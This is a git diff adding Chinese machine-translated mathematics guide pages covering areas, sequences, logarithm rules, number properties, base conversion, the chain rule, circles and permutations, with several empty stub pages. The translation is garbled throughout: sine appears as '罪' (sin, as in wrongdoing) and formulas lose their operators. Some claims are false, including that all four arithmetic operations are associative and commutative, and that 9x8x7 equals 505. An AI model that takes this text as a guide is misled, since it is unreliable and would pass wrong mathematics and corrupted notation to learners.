+
+### 方法1
+
+三角形的面积可以通过将基础长度乘以0.5与垂直高度来计算。
+
+![三角-1](https://github.com/uuykay/misc/blob/master/area-triangle-image-2.jpg)
+
+在数学上，这表示为：
+
+![公式1](https://github.com/uuykay/misc/blob/master/triangle-equation-area-1.jpg)
+
+### 方法2
+
+如果未知垂直高度，则可以使用其他方法计算面积。如果你知道两边的长度和它们之间的角度大小，那么就可以找到该区域。
+
+![三角-2](https://github.com/uuykay/misc/blob/master/area-triangle-image-3.jpg)
+
+在数学上，这表示为：
+
+![配方2](https://github.com/uuykay/misc/blob/master/triangle-equation-area-2.jpg)
+
+注意，上面表达的公式使用它们之间的边a和b以及角度C.这些可以替代另外两个方面以及它们之间的角度。
+
+### 术语
+
+基地 - 底部。选择已知的一面。
+
+垂直高度 - 三角形的高度，垂直于基部测量，到三角形的最高点。
+
+罪 - 正弦三角表达式。
+
+### 例子
+
+1.  找到三角形的区域，基本长度为4个单位，垂直高度为12个单位
+    
+    面积= 0.5 x 4 x 12 = 24个单位2
+    
+2.  如果已知三角形的两边是3和6，并且它们之间的角度是30度，那么三角形的角度是多少？
+    
+    面积= 0.5 x 3 x 6 x sin（30度）= 4.5单位2
+    
+
+#### 更多信息：
+
+*   [维基百科：三角形](https://en.wikipedia.org/wiki/Triangle)
+*   [更多例子](https://mathbits.com/MathBits/TISection/Trig/AreaTrigTri.htm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/area-of-trapezoids/index.md b/client/src/guide/chinese/mathematics/area-of-trapezoids/index.md
new file mode 100644
index 0000000000..168fcbb4c2
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/area-of-trapezoids/index.md
@@ -0,0 +1,13 @@
+---
+title: Area of Trapezoids
+localeTitle: 梯形区域
+---
+## 梯形区域
+
+梯形的面积定义为
+
+\*\* A =（a + b）/ 2 xh \*\* 哪里， a，b是每个碱基的长度 h是海拔（高度）
+
+#### 更多信息：
+
+可以在[可汗学院](https://www.khanacademy.org/math/basic-geo/basic-geo-area-and-perimeter/area-trap-composite/v/area-of-a-trapezoid-1)找到解释如何找到梯形区域的视频
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/area-of-triangles/index.md b/client/src/guide/chinese/mathematics/area-of-triangles/index.md
new file mode 100644
index 0000000000..0a9f43ae3c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/area-of-triangles/index.md
@@ -0,0 +1,33 @@
+---
+title: Area of Triangles
+localeTitle: 三角形区域
+---
+## 三角形区域
+
+三角形的面积是三角形边的二维平面上的总封闭空间。
+
+可以通过将一半乘以基数\*高度来计算三角形的面积
+
+例如，如果您的基座上有3厘米的三角形，高度为4厘米，那么您可以计算出该区域：
+
+Areaa = .5 \* 3 \* 4 =6cm²
+
+#### 术语
+
+*   基部（b） - 三角形一侧的长度。
+*   高度（h） - 垂直于基部到三角形相对点的直线的长度。
+
+#### 式
+
+**面积= 0.5 \*三角形的底边\*三角形的高度**
+
+![三角形](http://www.mathportal.org/calculators/plane-geometry-calculators/triangleEquilateral.gif)
+
+例如，在上图中，
+
+面积= 0.5 \* a \* h
+
+### 更多信息
+
+*   [三角形区域](http://www.onlinemathlearning.com/area-triangle.html)
+*   [如何计算三角形面积](https://www.wikihow.com/Calculate-the-Area-of-a-Triangle)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/arithmetic-sequence/index.md b/client/src/guide/chinese/mathematics/arithmetic-sequence/index.md
new file mode 100644
index 0000000000..7b178a11b8
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/arithmetic-sequence/index.md
@@ -0,0 +1,15 @@
+---
+title: Arithmetic Sequence
+localeTitle: 算术序列
+---
+## 算术序列
+
+算术序列或算术级数是一系列数字，其中每个连续数字之间的差异是相同的。
+
+如果n是序列中某个术语的位置（例如1,2,3 ......），则d是每个连续术语之间的差异，k是序列的第一个已知术语的第一个放置（例如，如果您知道第一项，则k = 1）， k是序列中第k 个项的值（即项号k处的值）， n是序列中第n 个项的值（即值在项数n）处，算术序列的等式是1 ：
+
+a n = a k + d（n - k）
+
+### 来源
+
+1.  [“算术进步。” _Brilliant.org_ 。 2018年10月1日。](https://brilliant.org/wiki/arithmetic-progressions/)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/arithmetic-series/index.md b/client/src/guide/chinese/mathematics/arithmetic-series/index.md
new file mode 100644
index 0000000000..5d154e7826
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/arithmetic-series/index.md
@@ -0,0 +1,11 @@
+---
+title: Arithmetic Series
+localeTitle: 算术系列
+---
+## 算术系列
+
+算术系列是算术序列中所有项的总和。
+
+如果n是序列中术语的总数，则1是序列中第一项的值， k是序列中最后一项的值，序列的总和将等于：
+
+![算术级数方程](https://github.com/Zoonn123/resources/blob/master/arithmeticserieshacktoberfestedit.png)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/asymptotes-worked-examples/index.md b/client/src/guide/chinese/mathematics/asymptotes-worked-examples/index.md
new file mode 100644
index 0000000000..5cbebb2ca0
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/asymptotes-worked-examples/index.md
@@ -0,0 +1,17 @@
+---
+title: Asymptotes Worked Examples
+localeTitle: 渐近线工作示例
+---
+## 渐近线工作示例
+
+曲线的渐近线被定义为一条线，这样当曲线变为无穷大时，它将倾向于满足该线。
+
+例， 取f（x）=（1 / x）的曲线 ![IMG](https://qph.fs.quoracdn.net/main-qimg-c5be56e1b5d297b9995615a47707f52b.webp)
+
+在这里你可以看到x = 0和y = 0的线趋向于满足无穷远处的曲线。
+
+### 更多信息：
+
+[www.mathsisfun.com/algebra/asymptote](https://www.mathsisfun.com/algebra/asymptote.html)
+
+[维基百科](https://en.wikipedia.org/wiki/Asymptote)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/axis-of-symmetry-of-a-parabola/index.md b/client/src/guide/chinese/mathematics/axis-of-symmetry-of-a-parabola/index.md
new file mode 100644
index 0000000000..9c364e60c8
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/axis-of-symmetry-of-a-parabola/index.md
@@ -0,0 +1,13 @@
+---
+title: Axis of Symmetry of a Parabola
+localeTitle: 抛物线的对称轴
+---
+## 抛物线的对称轴
+
+抛物线的对称轴是将抛物线完美地平分（或分成两个偶数部分）的线。
+
+这与在抛物线顶点的x值处绘制的垂直线相同。知道这一点，你可以通过使用二次（抛物线）方程的顶点形式轻松找到对称线：
+
+y = a（xh） 2 + k
+
+在这种形式中，抛物线顶点的坐标由（h，k）给出，这意味着对称线的方程将是x = h。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/basic-log-rules-and-expanding-log-expressions/index.md b/client/src/guide/chinese/mathematics/basic-log-rules-and-expanding-log-expressions/index.md
new file mode 100644
index 0000000000..492248d824
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/basic-log-rules-and-expanding-log-expressions/index.md
@@ -0,0 +1,53 @@
+---
+title: Basic Log Rules and Expanding Log Expressions
+localeTitle: 基本日志规则和扩展日志表达式
+---
+## 基本日志规则和扩展日志表达式
+
+以下是常用的基本日志规则：
+
+###### 对数乘积规则
+
+log b （x \* y）= log b （x）+ log b （y）
+
+###### 对数商数规则
+
+log b （x / y）= log b （x） - log b （y）
+
+###### 对数幂规则
+
+log b （x y ）= y \* log b （x）
+
+###### 负数的对数
+
+当x <0时， log b （x）未定义
+
+###### 对数为0
+
+log b （0）未定义
+
+lim x→0+ log b （x）= -infinity
+
+###### 对数为1
+
+log b （1）= 0
+
+###### 基数的对数
+
+log b （b）= 1
+
+###### 无限的对数
+
+lim x→无穷远 log b （x）=无穷大
+
+###### 对数基本切换规则
+
+log b （c）= 1 / log c （b）
+
+###### 对数基数变化规则
+
+log b （x）= log c （x）/ log c （b）
+
+#### 更多信息：
+
+[对数规则](http://www.rapidtables.com/math/algebra/Logarithm.htm)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/basic-number-properties-associative-commutative-and-distributive/index.md b/client/src/guide/chinese/mathematics/basic-number-properties-associative-commutative-and-distributive/index.md
new file mode 100644
index 0000000000..a631f0d02d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/basic-number-properties-associative-commutative-and-distributive/index.md
@@ -0,0 +1,69 @@
+---
+title: Basic Number Properties Associative, Commutative, and Distributive
+localeTitle: 基本数字属性关联，交换和分配
+---
+## 基本数字属性关联，交换和分配
+
+这些是数字的3个基本属性。  
+这些属性在高等数学中起着重要作用。教科书通常不会详细讨论它们，因为所有 我们在高中时使用的数字系统默认遵循这些属性。  
+在学习高等数学时，我们知道这些属性的重要性。
+
+# 属性一个接一个：
+
+## 关联性
+
+“关联”意味着形成操作数组。  
+如果操作（例如+， - ，×，/）是关联的，则意味着， **无论操作数的分组如何，结果都将保持相同。**
+
+例如，考虑操作+， 
+ let，a = 3，b = 4，c = 5 
+ （a + b）+ c = a +（b + c） 
+ - >（3 + 4）+ 5 = 3 +（4 + 5） 
+ - > 12 = 12 
+
+######尝试使用乘法运算，和上面相同的变量值， ＃＃＃ 注意：
+
+*   所有4个基本算术运算（即+， - ，×，/）都遵循关联性。
+    
+    * * *
+    
+    * * *
+    
+    * * *
+    
+
+## 交换性
+
+“通勤”意味着四处移动，在这种情况下，操作数围绕操作员移动。  
+如果操作（例如+， - ，×，/）是可交换的，则意味着， **无论操作数的计算顺序如何，结果都将保持相同。**
+
+例如，考虑操作+， 
+ let，a = 3，b = 4 
+ a + b = b + a 
+ - > 3 + 4 = 4 + 3 
+ - > 7 = 7 
+
+######尝试使用乘法运算，和上面相同的变量值， ＃＃＃ 注意：
+
+*   所有4个基本算术运算（即+， - ，×，/）都遵循交换性。
+    
+    * * *
+    
+    * * *
+    
+    * * *
+    
+
+## 分配律
+
+通过了解“乘法是对分布的分配”，这个属性很容易记住。 例，  
+a×（b + c）= a×b + a×c 即，在加法操作数上单独执行乘法，然后执行加法。  
+
+ 3×（4 + 5） 
+ - > 3×4 + 3×5 
+ - > 12 + 15 
+ - > 27 
+
+＃＃＃ 注意
+
+*   乘法是对分配的分配，但反之亦然。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/basic-percent-of-word-problems/index.md b/client/src/guide/chinese/mathematics/basic-percent-of-word-problems/index.md
new file mode 100644
index 0000000000..8ccd26f840
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/basic-percent-of-word-problems/index.md
@@ -0,0 +1,11 @@
+---
+title: Basic Percent of Word Problems
+localeTitle: Word问题的基本百分比
+---
+## Word问题的基本百分比
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/basic-percent-of-word-problems/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/basis/index.md b/client/src/guide/chinese/mathematics/basis/index.md
new file mode 100644
index 0000000000..2f0202be80
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/basis/index.md
@@ -0,0 +1,11 @@
+---
+title: Basis
+localeTitle: 基础
+---
+## 基础
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/basis/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/bayes-theorem/index.md b/client/src/guide/chinese/mathematics/bayes-theorem/index.md
new file mode 100644
index 0000000000..f7d0829a32
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/bayes-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Bayes Theorem
+localeTitle: 贝叶斯定理
+---
+## 贝叶斯定理
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/bayes-theorem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/binary-decimal-hex-conversion/index.md b/client/src/guide/chinese/mathematics/binary-decimal-hex-conversion/index.md
new file mode 100644
index 0000000000..8540df86c7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/binary-decimal-hex-conversion/index.md
@@ -0,0 +1,47 @@
+---
+title: Binary Decimal Hexadecimal Conversion
+localeTitle: 二进制十进制十六进制转换
+---
+# 转换：
+
+您可以使用基于n的数字的定义轻松地将数字从一个基数转换为另一个基数，这需要您了解我们的位置系统如何工作： 让我们从两位数字开始，例如`12` 。为了获得它的10的基数值，我们需要将其单个数字乘以`10^n` ，其中n是从右边开始的数字位置并从0开始计数。然后我们简单地对所有值求和。 例如，将以这种方式获得`12`的base-10值：
+
+\`\`\` 1 _（10 ^ 1）+ 2_ （10 ^ 0）= 10 + 2 = 12
+```
+This was obvious but what if you had a base-2 number and wanted to know its base-10 value? 
+ First of all mind that a base n number only has `n` total symbols to represent its values. 
+ In the binary base we have then just 2 (base-2) symbols: `1` and `0`. 
+ Applying the procedure you have seen before you will be able to obtain a decimal number starting from a binary one like `101`: 
+```
+
+101 = 1 _（2 ^ 2）+ 0_ （2 ^ 1）+ 1 \*（2 ^ 0）= 4 + 0 + 1 = 5
+```
+In the same way a hexadecimal (base-16) number has 16 symbols to represent its values: `0, 1, 2, 3, 4, 5, 6 ,7, 8, 9, A, B, C, D, E, F`. 
+ Converting a base-16 number like `7AF` to a decimal will be easy then: 
+```
+
+7AF = 7 _（16 ^ 2）+ A_ （16 ^ 1）+ F _（16 ^ 0）= 7_ 256 + 10 _16 + 15_ 1 = 1967
+```
+What if you wished to convert a decimal number into a n-based number? 
+ A common way to accomplish this is dividing the decimal number by the n base repeatedly. 
+ Take note of all remainders, and when your quotient reaches 0 stop. 
+ Now simply write all your remainders setting the last one as the most significant digit (your newly converted n-based number should have as last digit your first remainder). 
+ EG: Let's convert the base-10 `12` to its base-2 value 
+```
+
+12/2 = 6，余数为0 6/2 = 3，余数为0 3/2 = 1，余数为1 1/2 = 0，余数为1
+
+base-10 12 = base-2 1100 \`\`\` 现在使用上面写的第一个方法，您可以检查一切是否正常：
+
+`1100 = 1*(2^3) + 1*(2^2) + 0*(2^1) + 0*(2^0) = 8+4+0+0 = 12`
+
+## 二进制十进制十六进制转换器
+
+二进制，十进制和十六进制转换器它是一个工具，允许您转换在不同数字系统中表示的相应数字中的一个数字。允许的数字系统是`base-2` （二进制）， `base-10` （十进制），这是我们通常使用的数字和`base-16` （十六进制）。 网上有很多这样的工具：
+
+*   [二进制十六进制转换器](www.binaryhexconverter.com/)
+*   [计算器网站](http://www.calculator.net/) 通常科学计算器也包括基本转换工具，在MacOSX默认计算器中，您可以使用程序员视图按`Cmd+3`或在菜单`View->Programmer`下使用此功能。
+
+### 你自己的转换器：
+
+练习编程和完全理解数字转换的好主意是编写自己的在线转换工具。 如果您想了解有关此主题的更多信息，请查看[此维基百科条目](https://en.wikipedia.org/wiki/Positional_notation) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/binomial-distribution/index.md b/client/src/guide/chinese/mathematics/binomial-distribution/index.md
new file mode 100644
index 0000000000..e5f52d1af3
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/binomial-distribution/index.md
@@ -0,0 +1,18 @@
+---
+title: Binomial Distribution
+localeTitle: 二项分布
+---
+如果X~B（n，p）则： P（X = x）=（n / x）p ^ x乘以（1-p）^（nx）
+
+![可能性](https://wikimedia.org/api/rest_v1/media/math/render/svg/d33401621fb832dd2f9783e80a906d562f669008)
+
+![图](https://wikimedia.org/api/rest_v1/media/math/render/svg/38d86cba65d40f015a2b807d2b736250805abe45)
+
+如果X~B（n，p）则： E（X）= np Var（X）= np（1-p）
+
+二项分布仅在以下情况下发生：
+
+*   有一定数量的试验，n。
+*   每次试验应该是成功还是失败。
+*   成功概率（p）在每次试验中都是不变的。
+*   独立审判。
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/calculating-conditional-probability/index.md b/client/src/guide/chinese/mathematics/calculating-conditional-probability/index.md
new file mode 100644
index 0000000000..6f90066c6b
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/calculating-conditional-probability/index.md
@@ -0,0 +1,11 @@
+---
+title: Calculating Conditional Probability
+localeTitle: 计算条件概率
+---
+## 计算条件概率
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/calculating-conditional-probability/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/calculating-standard-deviation-step-by-step/index.md b/client/src/guide/chinese/mathematics/calculating-standard-deviation-step-by-step/index.md
new file mode 100644
index 0000000000..d3fa45422c
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/calculating-standard-deviation-step-by-step/index.md
@@ -0,0 +1,11 @@
+---
+title: Calculating Standard Deviation Step by Step
+localeTitle: 逐步计算标准偏差
+---
+## 逐步计算标准偏差
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/calculating-standard-deviation-step-by-step/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/calculations-with-months/index.md b/client/src/guide/chinese/mathematics/calculations-with-months/index.md
new file mode 100644
index 0000000000..e88e346a02
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/calculations-with-months/index.md
@@ -0,0 +1,11 @@
+---
+title: Calculations with Months
+localeTitle: 用月计算
+---
+## 用月计算
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/calculations-with-months/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/central-limit-theorem/index.md b/client/src/guide/chinese/mathematics/central-limit-theorem/index.md
new file mode 100644
index 0000000000..c83733cfae
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/central-limit-theorem/index.md
@@ -0,0 +1,11 @@
+---
+title: Central Limit Theorem
+localeTitle: 中心极限定理
+---
+## 中心极限定理
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/central-limit-theorem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/chain-rule-introduction/index.md b/client/src/guide/chinese/mathematics/chain-rule-introduction/index.md
new file mode 100644
index 0000000000..b661624c22
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/chain-rule-introduction/index.md
@@ -0,0 +1,81 @@
+---
+title: Chain Rule Introduction
+localeTitle: 连锁规则介绍
+---
+# 连锁规则介绍
+
+链规则用于计算函数组合的导数。
+
+设_F_是实值函数，它是两个函数_f_和_g_的复合，即`F(x) = f(g(x))` ，f（x）和g（x）都是可微分的。 令导数D {F（x）}表示为F'（x）。
+
+按链规则，
+
+#### _`F'(x) = f'(g(x)).g'(x)`_
+
+假设，g（x）= t则F（x）= f（g（x））可以重写为F（x）= f（t） 然后在莱布尼兹的符号链规则可以改写为：
+
+#### `d(F)/dx = df/dt . dt/dx`
+
+### 示例1.计算sin的衍生物（ax + b）
+
+解决方案：该功能可以视为两个功能的组合。 F（x）= f（g（x））
+
+t = g（x）= ax + b和f（t）= sin（t）
+
+f（t）= sin（t）=> df / dt = cos（t）
+
+t = g（x）= ax + b => dt / dx = a
+
+现在按链规则：
+
+d（F）/ dx = df / dt。 DT / DX
+
+\=> d（F）/ dx = a。 cost（t）= a.cos（ax + b）
+
+要么
+
+我们可以直接应用公式F'（x）= f'（g（x））。g'（x）= cos（ax + b）。一个
+
+## 对于两个以上函数的函数组合：
+
+设_F_是一个实值函数，它是四个函数的复合_rstu，_即`F(x)=r(s(t(u(x))))`和所有函数_r（x）s（x）t（x）你（x）_是可区分的。 令导数D {F（x）}表示为F'（x）。
+
+按链规则，
+
+#### _`F'(x) = r'(s(t(u(x)))).s'(t(u(x))).t'(u(x)).u'(x)`_
+
+假设，a = u（x），b = t（a），c = s（b）则F（x）= r（s（t（u（x））））可以重写为F（x ）= R（c）中
+
+然后，F（x）= r（c）=> d（F）/ dx = dr / dc。 dc / dx \_\_\_（eqn 1）
+
+c = s（b）=> dc / dx = ds / db。 db / dx \_\_\_（eqn 2）
+
+b = t（a）=> db / dx = dt / da。 da / dx \_\_\_（eqn 3）
+
+a = u（x）=> da / dx = du / dx \_\_\_（eqn 4）
+
+将eqn 2 3 4的值放入方程1中，我们将得到：
+
+#### `d(F)/dx = dr/dc . ds/db . dt/da . du/dx`
+
+### 例2.计算sin的导数（cos（（mx + n）^ 3））
+
+解决方案：该功能可视化为四个功能的组合。 F（x）= r（s（t（u（x））））
+
+其中a = u（x）= mx + n
+
+b = t（a）= a ^ 3
+
+c = s（b）= cos（b）则F（x）= r（s（t（u（x））））可以重写为F（x）= r（c）= sin（c）
+
+现在，按链规则： d（F）/ dx = dr / dc。 ds / db。 dt / da。 DU / DX
+
+\=> d（F）/ dx = cos（c）。 -sin（b）。 3a ^ 2。米
+
+\=> d（F）/ dx = cos（cos（（mx + n）^ 3））。 -sin（（mx + n）^ 3））。 3（mx + n）^ 2。米
+
+要么
+
+我们可以直接应用这个公式，
+
+F'（x）= r'（s（t（u（x））））。s'（t（u（x）））。t'（u（x））。u'（x）= cos（ cos（（mx + n）^ 3））。 -sin（（mx + n）^ 3））。 3（mx + n）^ 2。米
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/circle-equations/index.md b/client/src/guide/chinese/mathematics/circle-equations/index.md
new file mode 100644
index 0000000000..cbad8cf7e5
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/circle-equations/index.md
@@ -0,0 +1,41 @@
+---
+title: Circle Equations
+localeTitle: 圆方程
+---
+## 圆方程
+
+![圆以（x0，y0）为中心，半径为r，圆上的点为P（x，y），角度为t](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_2.gif)
+
+### 1.中心半径形式：
+
+具有中心_**（x 0 ，y 0 ）**_和半径**_r的_**圆。
+
+圆的方程可以表示为：
+
+![（x-x0）^ 2 +（y-y0）^ 2 = r ^ 2](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_3.png)
+
+#### 圆的一般方程：
+
+![x ^ 2 + y ^ 2 + 2gx + 2fy + c = 0](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_6.png)
+
+其中， `g` ， `f`和`c`是常数。
+
+因此，
+
+![x0 =（ -  g），y0 =（ -  f），r =（g ^ 2 + f ^ 2 -c）的平方根](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_9.png)
+
+### 2.参数形式：
+
+具有中心_**（x 0 ，y 0 ）**_和半径的圆与_x轴_的正方向形成角度**_t_** ，然后**_t_**被称为`parameter` 。
+
+圆的方程可以表示为：
+
+![x = x0 + rcos（t），y = y0 + rsin（t）](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_4.png)
+
+对于，
+
+![0 <= t <= 2 pi](https://raw.githubusercontent.com/pranabendra/articles/master/geometry/circle/circle_5.png)
+
+### 更多信息：
+
+[圆的方程](http://mypages.valdosta.edu/alazari/math1111/Circle.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/circle/index.md b/client/src/guide/chinese/mathematics/circle/index.md
new file mode 100644
index 0000000000..4d9aa88c1d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/circle/index.md
@@ -0,0 +1,19 @@
+---
+title: Circle
+localeTitle: 圈
+---
+## 圈
+
+圆是封闭的形状，其中所有点与中心的距离相同。
+
+从一个点到中心的距离称为半径（R）。
+
+从一个点到中心到另一个点的距离称为直径（D）。
+
+圆周围的距离称为圆周（C）。
+
+![circle](https://upload.wikimedia.org/wikipedia/commons/thumb/0/03/Circle-withsegments.svg/612px-Circle-withsegments.svg.png "圈")
+
+#### 更多信息：
+
+有关插图的更多信息，请访问：https：//en.wikipedia.org/wiki/Circle
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/combinations-and-permutations/index.md b/client/src/guide/chinese/mathematics/combinations-and-permutations/index.md
new file mode 100644
index 0000000000..84e02eb213
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/combinations-and-permutations/index.md
@@ -0,0 +1,31 @@
+---
+title: Combinations and Permutations
+localeTitle: 组合和排列
+---
+## 组合和排列
+
+假设你有9个人参加高尔夫锦标赛的前三名。锦标赛前三名有多少种不同的可能性？ 好吧，如果我们先选择第一名，我们有9个人可供选择。之后，我们将有8个选择第二名，7个选择第三名。要计算总数，我们只需要将它们相乘：
+
+9x8x7 = 505
+
+这是排列的一个例子。置换是在给定情况下可能发生的不同有序可能性的数量。排列可以有或没有重复，也可以是组合。如果我们说n个具有r可能性的东西的排列，公式将是：
+
+\##### **重复：** ñ^ R
+
+\##### **没有重复：** N！/（NR）！
+
+回到顶部的问题，如果他们坐在三把相同的椅子而不是排名怎么办？这是组合的一个例子。在组合中，顺序无关紧要。因此，必须消除相同组合的每个排列。这会创建另外两个公式：
+
+\##### **重复：** （R + N-1）！/（R 1（N-1）！）
+
+\##### **没有重复：** N！/（R！（NR）！）
+
+### 来源
+
+“组合和排列。”数学很有趣，www.mathsisfun.com / combinatorics / combinations -permutations.html。
+
+[帮助我们的社区扩展这篇文章](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/combinations-and-permutations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/complementary-angles/index.md b/client/src/guide/chinese/mathematics/complementary-angles/index.md
new file mode 100644
index 0000000000..2810c5cee7
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/complementary-angles/index.md
@@ -0,0 +1,21 @@
+---
+title: Complementary Angles
+localeTitle: 互补角度
+---
+# 互补角度
+
+## 定义
+
+两个角度（当加在一起时）具有90°的总和，称为互补角度。
+
+![](https://raw.githubusercontent.com/pranabendra/articles/master/Complementary-angles/comp1.png)
+
+互补角度不必彼此相邻，只要总长度为90°即可。
+
+### 例如 ：
+
+在上图中，图`a.`和`b.`表明互补角是_相邻的_ ，而在`c.`和`d.` ，互补角度_不相邻_ 。
+
+## 更多信息：
+
+[互补角度](https://www.mathsisfun.com/geometry/complementary-angles.html)
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/completing-the-square-circle-equations/index.md b/client/src/guide/chinese/mathematics/completing-the-square-circle-equations/index.md
new file mode 100644
index 0000000000..5e25a7e8bc
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/completing-the-square-circle-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Completing the Square Circle Equations
+localeTitle: 完成方圆方程
+---
+## 完成方圆方程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/completing-the-square-circle-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/completing-the-square-finding-the-vertex/index.md b/client/src/guide/chinese/mathematics/completing-the-square-finding-the-vertex/index.md
new file mode 100644
index 0000000000..ef1d60316d
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/completing-the-square-finding-the-vertex/index.md
@@ -0,0 +1,11 @@
+---
+title: Completing the Square Finding the Vertex
+localeTitle: 完成方形查找顶点
+---
+## 完成方形查找顶点
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/completing-the-square-finding-the-vertex/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/completing-the-square-solving-quadratic-equations/index.md b/client/src/guide/chinese/mathematics/completing-the-square-solving-quadratic-equations/index.md
new file mode 100644
index 0000000000..8286c9b858
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/completing-the-square-solving-quadratic-equations/index.md
@@ -0,0 +1,11 @@
+---
+title: Completing the Square Solving Quadratic Equations
+localeTitle: 完成平方求解二次方程
+---
+## 完成平方求解二次方程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/completing-the-square-solving-quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/mathematics/completing-the-square/index.md b/client/src/guide/chinese/mathematics/completing-the-square/index.md
new file mode 100644
index 0000000000..a10e84643a
--- /dev/null
+++ b/client/src/guide/chinese/mathematics/completing-the-square/index.md
@@ -0,0 +1,11 @@
+---
+title: Completing the Square
+localeTitle: 完成广场
+---
+## 完成广场
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/completing-the-square/index.md) 。
+
